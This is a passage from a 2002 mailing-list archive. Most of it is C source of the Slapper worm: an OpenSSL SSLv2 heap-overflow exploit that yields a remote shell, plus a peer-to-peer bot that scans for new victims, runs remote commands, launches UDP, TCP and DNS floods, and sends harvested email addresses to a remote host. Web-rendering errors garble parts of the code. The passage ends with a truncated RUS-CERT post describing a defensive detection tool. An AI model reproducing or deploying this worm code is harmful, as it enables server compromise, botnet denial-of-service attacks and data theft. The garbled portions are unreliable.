	p = buf;

	if (*(p++) != SSL2_MT_SERVER_HELLO) exit(1);
	if (*(p++) != 0) exit(1);
	if (*(p++) != 1) exit(1);
	n2s(p, server_version);
	if (server_version != 2) exit(1);

	n2s(p, cert_length);
	n2s(p, cs_length);
	n2s(p, conn_id_length);

	if (len != 11 + cert_length + cs_length + conn_id_length)
	exit(1); ssl->x509 = NULL;
	ssl->x509=d2i_X509(NULL,&p,(long)cert_length); if (ssl->x509
	== NULL) exit(1); if (cs_length % 3 != 0) exit(1);

	found = 0; for (end=p+cs_length; p < end; p += 3) if ((p[0]
	== 0x01) && (p[1] == 0x00) && (p[2] == 0x80)) found = 1;

	if (!found) exit(1);

	if (conn_id_length > SSL2_MAX_CONNECTION_ID_LENGTH) exit(1);

	ssl->conn_id_length = conn_id_length;
	memcpy(ssl->conn_id, p, conn_id_length);
}

void send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite, int key_arg_overwrite_len) {
	int encrypted_key_length, key_arg_length, record_length;
	unsigned char* p;
	int i;
	EVP_PKEY *pkey=NULL;
	unsigned char buf[BUFSIZE] =
		"\x02"
		"\x01\x00\x80"
		"\x00\x00"
		"\x00\x40"
		"\x00\x08";
	p = &buf[10];
	for (i = 0; i < RC4_KEY_LENGTH; i++) ssl->master_key[i] = (unsigned char) (rand() >> 24);
	pkey=X509_get_pubkey(ssl->x509);
	if (!pkey) exit(1);
	if (pkey->type != EVP_PKEY_RSA) exit(1);
	encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], pkey->pkey.rsa, RSA_PKCS1_PADDING);
	if (encrypted_key_length <= 0) exit(1);
	p += encrypted_key_length;
	if (key_arg_overwrite) {
		for (i = 0; i < 8; i++) *(p++) = (unsigned char) (rand() >> 24);
		memcpy(p, key_arg_overwrite, key_arg_overwrite_len);
		key_arg_length = 8 + key_arg_overwrite_len;
	}
	else key_arg_length = 0;
	p = &buf[6];
	s2n(encrypted_key_length, p);
	s2n(key_arg_length, p);
	record_length = 10 + encrypted_key_length + key_arg_length;
	send_ssl_packet(ssl, buf, record_length);
	ssl->encrypted = 1;
}

void generate_key_material(ssl_conn* ssl) {
	unsigned int i;
	MD5_CTX ctx;
	unsigned char *km;
	unsigned char c='0';
	km=ssl->key_material;
	for (i=0; i<RC4_KEY_MATERIAL_LENGTH; i+=MD5_DIGEST_LENGTH) {
		MD5_Init(&ctx);
		MD5_Update(&ctx,ssl->master_key,RC4_KEY_LENGTH);
		MD5_Update(&ctx,&c,1);
		c++;
		MD5_Update(&ctx,ssl->challenge,CHALLENGE_LENGTH);
		MD5_Update(&ctx,ssl->conn_id, ssl->conn_id_length);
		MD5_Final(km,&ctx);
		km+=MD5_DIGEST_LENGTH;
	}
}

void generate_session_keys(ssl_conn* ssl) {
	generate_key_material(ssl);
	ssl->read_key = &(ssl->key_material[0]);
	ssl->rc4_read_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
	RC4_set_key(ssl->rc4_read_key, RC4_KEY_LENGTH, ssl->read_key);
	ssl->write_key = &(ssl->key_material[RC4_KEY_LENGTH]);
	ssl->rc4_write_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
	RC4_set_key(ssl->rc4_write_key, RC4_KEY_LENGTH, ssl->write_key);
}

void get_server_verify(ssl_conn* ssl) {
	unsigned char buf[BUFSIZE];
	int len;
	if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) exit(1);
	if (len != 1 + CHALLENGE_LENGTH) exit(1);
	if (buf[0] != SSL2_MT_SERVER_VERIFY) exit(1);
	if (memcmp(ssl->challenge, &buf[1], CHALLENGE_LENGTH)) exit(1);
}

void send_client_finished(ssl_conn* ssl) {
	unsigned char buf[BUFSIZE];
	buf[0] = SSL2_MT_CLIENT_FINISHED;
	memcpy(&buf[1], ssl->conn_id, ssl->conn_id_length);
	send_ssl_packet(ssl, buf, 1+ssl->conn_id_length);
}

void get_server_finished(ssl_conn* ssl) {
	unsigned char buf[BUFSIZE];
	int len;
	int i;
	if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) exit(1);
	if (buf[0] != SSL2_MT_SERVER_FINISHED) exit(1);
	if (len <= 112) exit(1);
	cipher = *(int*)&buf[101];
	ciphers = *(int*)&buf[109];
}

void get_server_error(ssl_conn* ssl) {
	unsigned char buf[BUFSIZE];
	int len;
	if ((len = read_ssl_packet(ssl, buf, sizeof(buf))) > 0) exit(1);
}

void exploit(char *ip) {
	int port = 443;
	int i;
	int arch=-1;
	int N = 20;
	ssl_conn* ssl1;
	ssl_conn* ssl2;
	char *a;

	alarm(3600);
	if ((a=GetAddress(ip)) == NULL) exit(0);
	if (strncmp(a,"Apache",6)) exit(0);
	for (i=0;i<MAX_ARCH;i++) {
		if (strstr(a,architectures[i].apache) && strstr(a,architectures[i].os)) {
			arch=i;
			break;
		}
	}
	if (arch == -1) arch=9;

	srand(0x31337);

	for (i=0; i<N; i++) {
		connect_host(ip, port);
		usleep(100000);
	}

	ssl1 = ssl_connect_host(ip, port);
	ssl2 = ssl_connect_host(ip, port);

	send_client_hello(ssl1); get_server_hello(ssl1);
	send_client_master_key(ssl1, overwrite_session_id_length,
	sizeof(overwrite_session_id_length)-1);
	generate_session_keys(ssl1); get_server_verify(ssl1);
	send_client_finished(ssl1); get_server_finished(ssl1);

	port = get_local_port(ssl2->sock);
	overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
	overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8)
	& 0xff);

	*(int*)&overwrite_next_chunk[156] = cipher;
	*(int*)&overwrite_next_chunk[192] =
	architectures[arch].func_addr - 12;
	*(int*)&overwrite_next_chunk[196] = ciphers + 16;

	send_client_hello(ssl2);
	get_server_hello(ssl2);

	send_client_master_key(ssl2, overwrite_next_chunk,
	sizeof(overwrite_next_chunk)-1); generate_session_keys(ssl2);
	get_server_verify(ssl2);

	for (i = 0; i < ssl2->conn_id_length; i++) ssl2->conn_id[i] =
(unsigned char) (rand() >> 24);

	send_client_finished(ssl2);
	get_server_error(ssl2);

	sh(ssl2->sock);

	close(ssl2->sock);
	close(ssl1->sock);

	exit(0);
}
#endif

//////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////

int main(int argc, char **argv) {
#ifdef SCAN
	unsigned char a=0,b=0,c=0,d=0;
#endif
	unsigned long bases,*cpbases;
	struct initsrv_rec initrec;
	int null=open("/dev/null",O_RDWR);
	uptime=time(NULL);
	if (argc <= 1) {
		printf("%s: Exec format error. Binary file not executable.\n",argv[0]);
		return 0;
	}
	srand(time(NULL)^getpid());
	memset((char*)&routes,0,sizeof(struct route_table)*24);
	memset(clients,0,sizeof(struct ainst)*CLIENTS*2);
	if (audp_listen(&udpserver,PORT) != 0) {
		printf("Error: %s\n",aerror(&udpserver));
		return 0;
	}
	memset((void*)&initrec,0,sizeof(struct initsrv_rec));
	initrec.h.tag=0x70;
	initrec.h.len=0;
	initrec.h.id=0;
	cpbases=(unsigned long*)malloc(sizeof(unsigned long)*argc);
	if (cpbases == NULL) {
		printf("Insufficient memory\n");
		return 0;
	}
	for (bases=1;bases<argc;bases++) {
		cpbases[bases-1]=aresolve(argv[bases]);
		relay(cpbases[bases-1],(char*)&initrec,sizeof(struct initsrv_rec));
	}
	numlinks=0;
	dup2(null,0);
	dup2(null,1);
	dup2(null,2);
	if (fork()) return 1;
#ifdef SCAN
	a=classes[rand()%(sizeof classes)];
	b=rand();
	c=0;
	d=0;
#endif
	signal(SIGCHLD,nas);
	signal(SIGHUP,nas);
	while (1) {
		static unsigned long timeout=0,timeout2=0,timeout3=0;
		char buf_[3000],*buf=buf_;
		int n=0,p=0;
		long l=0,i=0;
		unsigned long start=time(NULL);
		fd_set read;
		struct timeval tm;

		FD_ZERO(&read);
		if (udpserver.sock > 0) FD_SET(udpserver.sock,&read);
		udpserver.len=0;
		l=udpserver.sock;
		for (n=0;n<(CLIENTS*2);n++) if (clients[n].sock > 0) {
			FD_SET(clients[n].sock,&read);
			clients[n].len=0;
			if (clients[n].sock > l) l=clients[n].sock;
		}
		memset((void*)&tm,0,sizeof(struct timeval));
		tm.tv_sec=2;
		tm.tv_usec=0;
		l=select(l+1,&read,NULL,NULL,&tm);

		if (l == -1) {
			if (errno == EINTR) {
				for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
					unsigned int *newpids,on;
					for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
					pids[on-1]=0;
					numpids--;
					newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
					if (newpids != NULL) {
						for (on=0;on<numpids;on++) newpids[on]=pids[on];
						FREE(pids);
						pids=newpids;
					}
				}
			}
			continue;
		}
		timeout+=time(NULL)-start;
		if (timeout >= 60) {
			if (links == NULL || numlinks == 0) {
				memset((void*)&initrec,0,sizeof(struct initsrv_rec));
				initrec.h.tag=0x70;
				initrec.h.len=0;
				initrec.h.id=0;
				for (i=0;i<bases;i++) relay(cpbases[i],(char*)&initrec,sizeof(struct initsrv_rec));
			}
			else if (!myip) {
				memset((void*)&initrec,0,sizeof(struct initsrv_rec));
				initrec.h.tag=0x74;
				initrec.h.len=0;
				initrec.h.id=0;
				segment(2,(char*)&initrec,sizeof(struct initsrv_rec));
			}
			timeout=0;
		}
		timeout2+=time(NULL)-start;
		if (timeout2 >= 3) {
			struct mqueue *getqueue=queues;
			while(getqueue != NULL) {
				if (time(NULL)-getqueue->time > gettimeout()) {
					struct mqueue *l=getqueue->next;
					delqueue(getqueue->id);
					delqueue(getqueue->id);
					getqueue=l;
					continue;
				}
				else if ((time(NULL)-getqueue->ltime) >= (getqueue->destination?6:3)) {
					struct ainst ts;
					char srv[256];
					unsigned char i;
					memset((void*)&ts,0,sizeof(struct ainst));
					getqueue->ltime=time(NULL);
					if (getqueue->destination) {
						conv(srv,256,getqueue->destination);
						audp_relay(&udpserver,&ts,srv,getqueue->port);
						audp_send(&ts,getqueue->packet,getqueue->len);
					}
					else for (i=0;i<getqueue->trys;i++) segment(0,getqueue->packet,getqueue->len);
				}
				getqueue=getqueue->next;
			}
			timeout2=0;
		}
		timeout3+=time(NULL)-start;
		if (timeout3 >= 60*10) {
			char buf[2]={0,0};
			syncmode(1);
			broadcast(buf,1);
			timeout3=0;
		}

		if (udpserver.sock > 0 &&
FD_ISSET(udpserver.sock,&read)) udpserver.len=AREAD;

		for (n=0;n<(CLIENTS*2);n++) if (clients[n].sock > 0)
if (FD_ISSET(clients[n].sock,&read)) clients[n].len=AREAD;

#ifdef SCAN
		if (myip) for (n=CLIENTS,p=0;n<(CLIENTS*2) && p<100;n++) if (clients[n].sock == 0) {
			char srv[256];
			if (d == 255) {
				if (c == 255) {
					a=classes[rand()%(sizeof classes)];
					b=rand();
					c=0;
				}
				else c++;
				d=0;
			}
			else d++;
			memset(srv,0,256);
			sprintf(srv,"%d.%d.%d.%d",a,b,c,d);
			clients[n].ext=time(NULL);
			atcp_sync_connect(&clients[n],srv,SCANPORT);
			p++;
		}
		for (n=CLIENTS;n<(CLIENTS*2);n++) if (clients[n].sock != 0) {
			p=atcp_sync_check(&clients[n]);
			if (p == ASUCCESS || p == ACONNECT || time(NULL)-((unsigned long)clients[n].ext) >= 5) atcp_close(&clients[n]);
			if (p == ASUCCESS) {
				char srv[256];
				conv(srv,256,clients[n].in.sin_addr.s_addr);
				if (mfork() == 0) {
					exploit(srv);
					exit(0);
				}
			}
		}
#endif
		for (n=0;n<CLIENTS;n++) if (clients[n].sock != 0) {
			if (clients[n].ext2 == TCP_PENDING) {
				struct add_rec rc;
				memset((void*)&rc,0,sizeof(struct add_rec));
				p=atcp_sync_check(&clients[n]);
				if (p == ACONNECT) {
					rc.h.tag=0x42;
					rc.h.seq=newseq();
					rc.h.id=clients[n].ext3;
					relayclient(clients[n].ext,(void*)&rc,sizeof(struct add_rec));
					FREE(clients[n].ext);
					FREE(clients[n].ext5);
					atcp_close(&clients[n]);
				}
				if (p == ASUCCESS) {
					rc.h.tag=0x43;
					rc.h.seq=newseq();
					rc.h.id=clients[n].ext3;
					relayclient(clients[n].ext,(void*)&rc,sizeof(struct add_rec));
					clients[n].ext2=TCP_CONNECTED;
					if (clients[n].ext5) {
						atcp_send(
RXML parse error: Unknown scope "clients[n],clients[n]".
 | &clients[n],clients[n].ext5,9);
clients[n].ext2=SOCKS_REPLY; } } } else if (clients[n].ext2 == SOCKS_REPLY && clients[n].len != 0) { struct add_rec rc; memset((void*)&rc,0,sizeof(struct add_rec)); l=atcp_recv(&clients[n],buf,3000); if (*buf == 0) clients[n].ext2=TCP_CONNECTED; else { rc.h.tag=0x42; rc.h.seq=newseq(); rc.h.id=clients[n].ext3; relayclient(clients[n].ext,(void*)&rc,sizeof(struct add_rec)); FREE(clients[n].ext); FREE(clients[n].ext5); atcp_close(&clients[n]); } } else if (clients[n].ext2 == TCP_CONNECTED && clients[n].len != 0) { struct data_rec rc; memset((void*)&rc,0,sizeof(struct data_rec)); l=atcp_recv(&clients[n],buf+sizeof(struct data_rec),3000-sizeof(struct data_rec)); if (l == AUNKNOWN) { struct kill_rec rc; memset((void*)&rc,0,sizeof(struct kill_rec)); rc.h.tag=0x42; rc.h.seq=newseq(); rc.h.id=clients[n].ext3; relayclient((struct ainst *)clients[n].ext,(void*)&rc,sizeof(struct kill_rec)); FREE(clients[n].ext); FREE(clients[n].ext5); atcp_close(&clients[n]); } else { l=clients[n].len; rc.h.tag=0x41; rc.h.seq=newseq(); rc.h.id=clients[n].ext3; rc.h.len=l; _encrypt(buf+sizeof(struct data_rec),l); memcpy(buf,(void*)&rc,sizeof(struct data_rec)); relayclient((struct ainst *)clients[n].ext,buf,l+sizeof(struct data_rec)); } } } if (udpserver.len != 0) if (!audp_recv(&udpserver,&udpclient,buf,3000)) { struct llheader *llrp, ll; struct header *tmp; in++; if (udpserver.len < 0 || udpserver.len < sizeof(struct llheader)) continue; buf+=sizeof(struct llheader); udpserver.len-=sizeof(struct llheader); llrp=(struct llheader *)(buf-sizeof(struct llheader)); tmp=(struct header *)buf; if (llrp->type == 0) { memset((void*)&ll,0,sizeof(struct llheader)); if (llrp->checksum != in_cksum(buf,udpserver.len)) continue; if (!usersa(llrp->id)) addrsa(llrp->id); else continue; ll.type=1; ll.checksum=0; ll.id=llrp->id; if (tmp->tag != 0x26) audp_send(&udpclient,(char*)&ll,sizeof(struct llheader)); } else if (llrp->type == 1) { delqueue(llrp->id); continue; } else continue; if (udpserver.len >= sizeof(struct header)) { switch(tmp->tag) { case 0x20: { // Info struct getinfo_rec *rp=(struct getinfo_rec *)buf; struct info_rec rc; if (udpserver.len < sizeof(struct getinfo_rec)) break; memset((void*)&rc,0,sizeof(struct info_rec)); rc.h.tag=0x47; rc.h.id=tmp->id; rc.h.seq=newseq(); rc.h.len=0; #ifdef SCAN rc.a=a; rc.b=b; rc.c=c; rc.d=d; #endif rc.ip=myip; rc.uptime=time(NULL)-uptime; rc.in=in; rc.out=out; rc.version=VERSION; rc.reqtime=rp->time; rc.reqmtime=rp->mtime; relayclient(&udpclient,(char*)&rc,sizeof(struct info_rec)); } break; case 0x21: { // Open a bounce struct add_rec *sr=(struct add_rec *)buf; if (udpserver.len < sizeof(struct add_rec)) break; for (n=0;n<CLIENTS;n++) if (clients[n].sock == 0) { char srv[256]; if (sr->socks == 0) conv(srv,256,sr->server); else conv(srv,256,sr->socks); clients[n].ext2=TCP_PENDING; clients[n].ext3=sr->h.id; clients[n].ext=(struct ainst*)malloc(sizeof(struct ainst)); if (clients[n].ext == NULL) { clients[n].sock=0; break; } memcpy((void*)clients[n].ext,(void*)&udpclient,sizeof(struct ainst)); if (sr->socks == 0) { clients[n].ext5=NULL; atcp_sync_connect(&clients[n],srv,sr->port); } else { clients[n].ext5=(char*)malloc(9); if (clients[n].ext5 == NULL) { clients[n].sock=0; break; } ((char*)clients[n].ext5)[0]=0x04; ((char*)clients[n].ext5)[1]=0x01; ((char*)clients[n].ext5)[2]=((char*)&sr->port)[1]; ((char*)clients[n].ext5)[3]=((char*)&sr->port)[0]; ((char*)clients[n].ext5)[4]=((char*)&sr->server)[0]; ((char*)clients[n].ext5)[5]=((char*)&sr->server)[1]; ((char*)clients[n].ext5)[6]=((char*)&sr->server)[2]; ((char*)clients[n].ext5)[7]=((char*)&sr->server)[3]; ((char*)clients[n].ext5)[8]=0x00; atcp_sync_connect(&clients[n],srv,1080); } if (sr->bind) abind(&clients[n],sr->bind,0); break; } } break; case 0x22: { // Close a bounce struct kill_rec *sr=(struct kill_rec *)buf; if (udpserver.len < sizeof(struct kill_rec)) break; for (n=0;n<CLIENTS;n++) if (clients[n].ext3 == sr->h.id) { FREE(clients[n].ext); FREE(clients[n].ext5); atcp_close(&clients[n]); } } break; case 0x23: { // Send a message to a bounce struct data_rec *sr=(struct data_rec *)buf; if (udpserver.len < sizeof(struct data_rec)+sr->h.len) break; for (n=0;n<CLIENTS;n++) if (clients[n].ext3 == sr->h.id) { _decrypt(buf+sizeof(struct data_rec),sr->h.len); atcp_send(&clients[n],buf+sizeof(struct data_rec),sr->h.len); } } break; #ifndef LARGE_NET case 0x24: { // Run a command FILE *f; struct sh_rec *sr=(struct sh_rec *)buf; int id; if (udpserver.len < sizeof(struct sh_rec)+sr->h.len || sr->h.len > 2999-sizeof(struct sh_rec)) break; id=sr->h.id; (buf+sizeof(struct sh_rec))[sr->h.len]=0; _decrypt(buf+sizeof(struct sh_rec),sr->h.len); f=popen(buf+sizeof(struct sh_rec),"r"); if (f != NULL) { while(1) { struct data_rec rc; char *str; unsigned long len; memset(buf,0,3000); fgets(buf,3000,f); if (feof(f)) break; len=strlen(buf); memset((void*)&rc,0,sizeof(struct data_rec)); rc.h.tag=0x41; rc.h.seq=newseq(); rc.h.id=id; rc.h.len=len; _encrypt(buf,len); str=(char*)malloc(sizeof(struct data_rec)+len); if (str == NULL) break; memcpy((void*)str,(void*)&rc,sizeof(struct data_rec)); memcpy((void*)(str+sizeof(struct data_rec)),buf,len); relayclient(&udpclient,str,sizeof(struct data_rec)+len); FREE(str); } pclose(f); } else senderror(&udpclient,id,"Unable to execute command"); } break; #endif case 0x25: { } break; case 0x26: { // Route struct route_rec *rp=(struct route_rec *)buf; unsigned long i; if (udpserver.len < sizeof(struct route_rec)) break; if (!useseq(rp->h.seq)) { addseq(rp->h.seq); audp_send(&udpclient,(char*)&ll,sizeof(struct llheader)); if (rp->sync == 1 && rp->links != numlinks) { if (time(NULL)-synctime > 60) { if (rp->links > numlinks) { memset((void*)&initrec,0,sizeof(struct initsrv_rec)); initrec.h.tag=0x72; initrec.h.len=0; initrec.h.id=0; relayclient(&udpclient,(char*)&initrec,sizeof(struct initsrv_rec)); } else syncm(&udpclient,0x71,0); synctime=time(NULL); } } if (rp->sync != 3) { rp->sync=1; rp->links=numlinks; } if (rp->server == -1 || rp->server == 0 || rp->server == myip) relay(inet_addr("127.0.0.1"),buf+sizeof(struct route_rec),rp->h.len-sizeof(struct route_rec)); if (rp->server == -1 || rp->server == 0) segment(2,buf,rp->h.len); else if (rp->server != myip) { if (rp->hops == 0 || rp->hops > 16) relay(rp->server,buf,rp->h.len); else { rp->hops--; segment(2,buf,rp->h.len); } } for (i=LINKS;i>0;i--) memcpy((struct route_table*)&routes[i],(struct route_table*)&routes[i-1],sizeof(struct route_table)); memset((struct route_table*)&routes[0],0,sizeof(struct route_table)); routes[0].id=rp->h.id; routes[0].ip=udpclient.in.sin_addr.s_addr; routes[0].port=htons(udpclient.in.sin_port); } } break; case 0x27: { } break; case 0x28: { // List struct list_rec *rp=(struct list_rec *)buf; if (udpserver.len < sizeof(struct list_rec)) break; syncm(&udpclient,0x46,rp->h.id); } break; case 0x29: { // Udp flood int flag=1,fd,i=0; char *str; struct sockaddr_in in; time_t start=time(NULL); struct udp_rec *rp=(struct udp_rec *)buf; if (udpserver.len < sizeof(struct udp_rec)) break; if (rp->size > 9216) { senderror(&udpclient,rp->h.id,"Size must be less than or equal to 9216\n"); break; } if (!isreal(rp->target)) { senderror(&udpclient,rp->h.id,"Cannot packet local networks\n"); break; } if (waitforqueues()) break; str=(char*)malloc(rp->size); if (str == NULL) break; for (i=0;i<rp->size;i++) str[i]=rand(); memset((void*)&in,0,sizeof(struct sockaddr_in)); in.sin_addr.s_addr=rp->target; in.sin_family=AF_INET; in.sin_port=htons(rp->port); while(1) { if (rp->port == 0) in.sin_port = rand(); if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0); else { flag = fcntl(fd, F_GETFL, 0); flag |= O_NONBLOCK; fcntl(fd, F_SETFL, flag); sendto(fd,str,rp->size,0,(struct sockaddr*)&in,sizeof(in)); close(fd); } if (i >= 50) { if (time(NULL) >= start+rp->secs) exit(0); i=0; } i++; } FREE(str); } exit(0); case 0x2A: { // Tcp flood int flag=1,fd,i=0; struct sockaddr_in in; time_t start=time(NULL); struct tcp_rec *rp=(struct tcp_rec *)buf; if (udpserver.len < sizeof(struct tcp_rec)) break; if (!isreal(rp->target)) { senderror(&udpclient,rp->h.id,"Cannot packet local networks\n"); break; } if (waitforqueues()) break; memset((void*)&in,0,sizeof(struct sockaddr_in)); in.sin_addr.s_addr=rp->target; in.sin_family=AF_INET; in.sin_port=htons(rp->port); while(1) { if (rp->port == 0) in.sin_port = rand(); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0); else { flag = fcntl(fd, F_GETFL, 0); flag |= O_NONBLOCK; fcntl(fd, F_SETFL, flag); connect(fd, (struct sockaddr *)&in, sizeof(in)); close(fd); } if (i >= 50) { if (time(NULL) >= start+rp->secs) exit(0); i=0; } i++; } } exit(0); #ifndef NOIPV6 case 0x2B: { // IPv6 Tcp flood int flag=1,fd,i=0,j=0; struct sockaddr_in6 in; time_t start=time(NULL); struct tcp6_rec *rp=(struct tcp6_rec *)buf; if (udpserver.len < sizeof(struct tcp6_rec)) break; if (waitforqueues()) break; memset((void*)&in,0,sizeof(struct sockaddr_in6)); for (i=0;i<4;i++) for (j=0;j<4;j++) ((char*)&in.sin6_addr.s6_addr[i])[j]=((char*)&rp->target[i])[j]; in.sin6_family=AF_INET6; in.sin6_port=htons(rp->port); while(1) { if (rp->port == 0) in.sin6_port = rand(); if ((fd = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP)) < 0); else { flag = fcntl(fd, F_GETFL, 0); flag |= O_NONBLOCK; fcntl(fd, F_SETFL, flag); connect(fd, (struct sockaddr *)&in, sizeof(in)); close(fd); } if (i >= 50) { if (time(NULL) >= start+rp->secs) exit(0); i=0; } i++; } } exit(0); #endif case 0x2C: { // Dns flood struct dns { unsigned short int id; unsigned char rd:1; unsigned char tc:1; unsigned char aa:1; unsigned char opcode:4; unsigned char qr:1; unsigned char rcode:4; unsigned char unused:2; unsigned char pr:1; unsigned char ra:1; unsigned short int que_num; unsigned short int rep_num; unsigned short int num_rr; unsigned short int num_rrsup; char buf[128]; } dnsp; unsigned long len=0,i=0,startm; int fd,flag; char *convo; struct sockaddr_in in; struct df_rec *rp=(struct df_rec *)buf; time_t start=time(NULL); if (udpserver.len < sizeof(struct df_rec)+rp->h.len || rp->h.len > 2999-sizeof(struct df_rec)) break; if (!isreal(rp->target)) { senderror(&udpclient,rp->h.id,"Cannot packet local networks\n"); break; } if (waitforqueues()) break; memset((void*)&in,0,sizeof(struct sockaddr_in)); in.sin_addr.s_addr=rp->target; in.sin_family=AF_INET; in.sin_port=htons(53); dnsp.rd=1; dnsp.tc=0; dnsp.aa=0; dnsp.opcode=0; dnsp.qr=0; dnsp.rcode=0; dnsp.unused=0; dnsp.pr=0; dnsp.ra=0; dnsp.que_num=256; dnsp.rep_num=0; dnsp.num_rr=0; dnsp.num_rrsup=0; convo=buf+sizeof(struct df_rec); convo[rp->h.len]=0; _decrypt(convo,rp->h.len); for (i=0,startm=0;i<=rp->h.len;i++) if (convo[i] == '.' || convo[i] == 0) { convo[i]=0; sprintf(dnsp.buf+len,"%c%s",(unsigned char)(i-startm),convo+startm); len+=1+strlen(convo+startm); startm=i+1; } dnsp.buf[len++]=0; dnsp.buf[len++]=0; dnsp.buf[len++]=1; dnsp.buf[len++]=0; dnsp.buf[len++]=1; while(1) { dnsp.id=rand(); if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0); else { flag = fcntl(fd, F_GETFL, 0); flag |= O_NONBLOCK; fcntl(fd, F_SETFL, flag); sendto(fd,(char*)&dnsp,sizeof(struct dns)+len-128,0,(struct sockaddr*)&in,sizeof(in)); close(fd); } if (i >= 50) { if (time(NULL) >= start+rp->secs) exit(0); i=0; } i++; } } exit(0); case 0x2D: { // Email scan char ip[256]; struct escan_rec *rp=(struct escan_rec *)buf; if (udpserver.len < sizeof(struct escan_rec)) break; if (!isreal(rp->ip)) { senderror(&udpclient,rp->h.id,"Invalid IP\n"); break; } conv(ip,256,rp->ip); if (mfork() == 0) { struct _linklist *getb; struct ainst client; StartScan("/"); audp_setup(&client,(char*)ip,ESCANPORT); getb=linklist; while(getb != NULL) { unsigned long len=strlen(getb->name); audp_send(&client,getb->name,len); getb=getb->next; } audp_close(&client); exit(0); } } break; case 0x70: { // Incomming client struct { struct addsrv_rec a; unsigned long server; } rc; struct myip_rec rp; if (!isreal(udpclient.in.sin_addr.s_addr)) break; syncmode(3); memset((void*)&rp,0,sizeof(struct myip_rec)); rp.h.tag=0x73; rp.h.id=0; rp.ip=udpclient.in.sin_addr.s_addr; relayclient(&udpclient,(void*)&rp,sizeof(struct myip_rec)); memset((void*)&rc,0,sizeof(rc)); rc.a.h.tag=0x71; rc.a.h.id=0; rc.a.h.len=sizeof(unsigned long); rc.server=udpclient.in.sin_addr.s_addr; broadcast((void*)&rc,sizeof(rc)); syncmode(1); addserver(rc.server); syncm(&udpclient,0x71,0); } break; case 0x71: { // Receive the list struct addsrv_rec *rp=(struct addsrv_rec *)buf; struct next_rec { unsigned long server; }; unsigned long a; char b=0; if (udpserver.len < sizeof(struct addsrv_rec)) break; for (a=0;rp->h.len > a*sizeof(struct next_rec) && udpserver.len > sizeof(struct addsrv_rec)+(a*sizeof(struct next_rec));a++) { struct next_rec *fc=(struct next_rec*)(buf+sizeof(struct addsrv_rec)+(a*sizeof(struct next_rec))); addserver(fc->server); } for (a=0;a<numlinks;a++) if (links[a] == udpclient.in.sin_addr.s_addr) b=1; if (!b && isreal(udpclient.in.sin_addr.s_addr)) { struct myip_rec rp; memset((void*)&rp,0,sizeof(struct myip_rec)); rp.h.tag=0x73; rp.h.id=0; rp.ip=udpclient.in.sin_addr.s_addr; relayclient(&udpclient,(void*)&rp,sizeof(struct myip_rec)); addserver(udpclient.in.sin_addr.s_addr); } } break; case 0x72: { // Send the list syncm(&udpclient,0x71,0); } break; case 0x73: { // Get my IP struct myip_rec *rp=(struct myip_rec *)buf; if (udpserver.len < sizeof(struct myip_rec)) break; if (!myip && isreal(rp->ip)) { myip=rp->ip; addserver(rp->ip); } } break; case 0x74: { // Transmit their IP struct myip_rec rc; memset((void*)&rc,0,sizeof(struct myip_rec)); rc.h.tag=0x73; rc.h.id=0; rc.ip=udpclient.in.sin_addr.s_addr; if (!isreal(rc.ip)) break; relayclient(&udpclient,(void*)&rc,sizeof(struct myip_rec)); } break; case 0x41: // --| case 0x42: // | case 0x43: // | case 0x44: // |---> Relay to client case 0x45: // | case 0x46: // | case 0x47: { // --| unsigned long a; struct header *rc=(struct header *)buf; if (udpserver.len < sizeof(struct header)) break; if (!useseq(rc->seq)) { addseq(rc->seq); for (a=0;a<LINKS;a++) if (routes[a].id == rc->id) { struct ainst ts; char srv[256]; conv(srv,256,routes[a].ip); audp_relay(&udpserver,
RXML parse error: Unknown scope "ts,srv,routes[a]".
 | &ts,srv,routes[a].port);
relayclient(
RXML parse error: Unknown scope "ts,buf,udpserver".
 | &ts,buf,udpserver.len);
break; } } } break; } } } } audp_close(&udpserver); return 0; } (75675) /KF <dotslash@snosoft.com>/-------(Ombruten) 75682 2002-09-18 03:24 /111 rader/ Florian Weimer <Weimer@CERT.Uni-Stuttgart.DE> Importerad: 2002-09-18 03:24 av Brevbäraren Extern mottagare: vulndiscuss@vulnwatch.org Mottagare: Bugtraq (import) <1530> Ärende: Remote detection of vulnerable OpenSSL versions ------------------------------------------------------------ Remote detection of vulnerable OpenSSL versions RUS-CERT has developed a tool to remotely detect vulnerable OpenSSL implementations. Why is such a tool required? While the "Slapper" worm is spreading, many system administrators ask themselves whether their systems are vulnerable. Even if you apply vendor patches regularly, there are some risks which are hard to deal with: * Vendors might use OpenSSL to implement SSL services, but do not publicize it. Consequently, administrators might not know that they need to update. * Human error might leave systems vulnerable (e.g. people forget to restart services after applying patches, or are distracted by phone calls and miss a machine). * Other SSL implementations might have similar bugs. * Vendor upgrades often do not alter the version number, and their is no easy way to check if a patched version is running. * Vendor patches sometimes do not eliminate the vulnerability. As a result, full disclosure is essential; it makes independent regression testing possible. How does it work? It is difficult to tell OpenSSL 0.9.6e from vulnerable versions because the OpenSSL developers chose to terminate the process if a buffer overflow attempt is detected. Over the network, a crash due to a buffer overflow and an abrupt, but deliberate process termination look the same: in both cases, the TCP connection breaks down. At first glance, it appears that we are out of luck and cannot detect vulnerable versions. However, if we overrun the buffer by only a few bytes, the vulnerable version (without check) does not crash. This way, we can tell 0.9.6e from previous, vulnerable versions: small overflow large overflow pre-0.9.6e no crash crash 0.9.6e crash crash 0.9.6g error error (0.9.6g signals an SSL error over the network, as one would expect.) Other combinations are possible, of course, and this program tries to flag them in a reasonable way. (We consider malformed responses an indication of lack of care, and a potential security problem.) This program performs a third connection attempt (actually the first 